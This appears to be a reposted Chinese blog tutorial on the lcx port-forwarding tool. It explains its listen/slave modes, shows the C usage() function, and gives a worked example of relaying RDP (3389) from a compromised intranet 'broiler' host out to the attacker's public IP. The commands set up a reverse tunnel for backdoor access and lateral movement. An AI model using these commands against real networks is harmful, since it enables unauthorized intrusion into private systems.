lcx.exe 经常给内网肉鸡丢3389后门以及内网渗透的大都很熟悉,平时使用都是照猫画虎用,不明白其中本质,今天找到源码,详细阐释下本质吧。
其中涉及到2条TCP连接已经2条端口转发,可能比较饶人,慢慢看吧。
平时大家都这样用 首先在自己主机上 lcx -listen p1 p2 ,意思是在主机上监听 P1 和 P2 端口,
然后在鸡上 lcx -slave 主机IP p1 肉鸡IP p3 ,意思是连接 主机IP:p1 并把所有通信数据转发到 肉鸡IP:p3
然后用相关服务的客户端连接 主机IP:p2 ,例如3889连接器,即可连接到肉鸡相应的p3端口服务。因为主机自动把 主机IP:p2的任何数据都转发到
IP:p1上,而IP:p1与 肉鸡 已经有个可以通信的连接,最终肉鸡在把与 IP:p1 转发到相应的服务端口,即完成了通信,说的有点饶人还是上图吧。
网上基本都是windows下的实现,使用方法也就上面那样。
linux也有实现,感觉使用方法更加明朗,且与windows下的兼容 在此推荐下。
把windows的小做修改下,重新编译了下,源程序比较简单就不上传工程文件了,直接给个C文件,自己编译下即可。
linux下实现大同小异,只不过用的fork实现子线程。
使用说明:
VOID usage(char* prog)
{
printf("Socket data transport tool\r\n");
printf("by bkbll([email protected])\r\n\r\n");
printf("Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]\r\n",prog);
printf(" -v: version\r\n");
printf(" -h1: host1\r\n");
printf(" -h2: host2\r\n");
printf(" -p1: port1\r\n");
printf(" -p2: port2\r\n");
printf(" -log: log the data\r\n");
printf(" -m: the action method for this tool\r\n");
printf(" 1: listen on PORT1 and connect to HOST2:PORT2\r\n"); //最简单的端口转发,单独使用
printf(" 2: listen on PORT1 and PORT2\r\n"); //通常 2 3结合使用
printf(" 3: connect to HOST1:PORT1 and HOST2:PORT2\r\n");
closeallfd();
return;
}
源代码 lcx_src.zip
简单的例子,加入本机IP为116.228.111.18,某内网肉鸡开了3389.
1.本机 lcx -m 2 -p1 3333 -p2 3389
2.肉鸡 lcx -m 3 -h1 116.228.111.18 -p1 3333 -h2 127.0.0.1 -p2 3389
3.在任何有网的地方包括自己主机都可以用 3389连接器 连接 116.228.111.18:3389即可。
其他服务同理,如 80 22 21 1433.
转载于:https://www.cnblogs.com/wangtuanjie/archive/2012/10/31/lcx_linux.html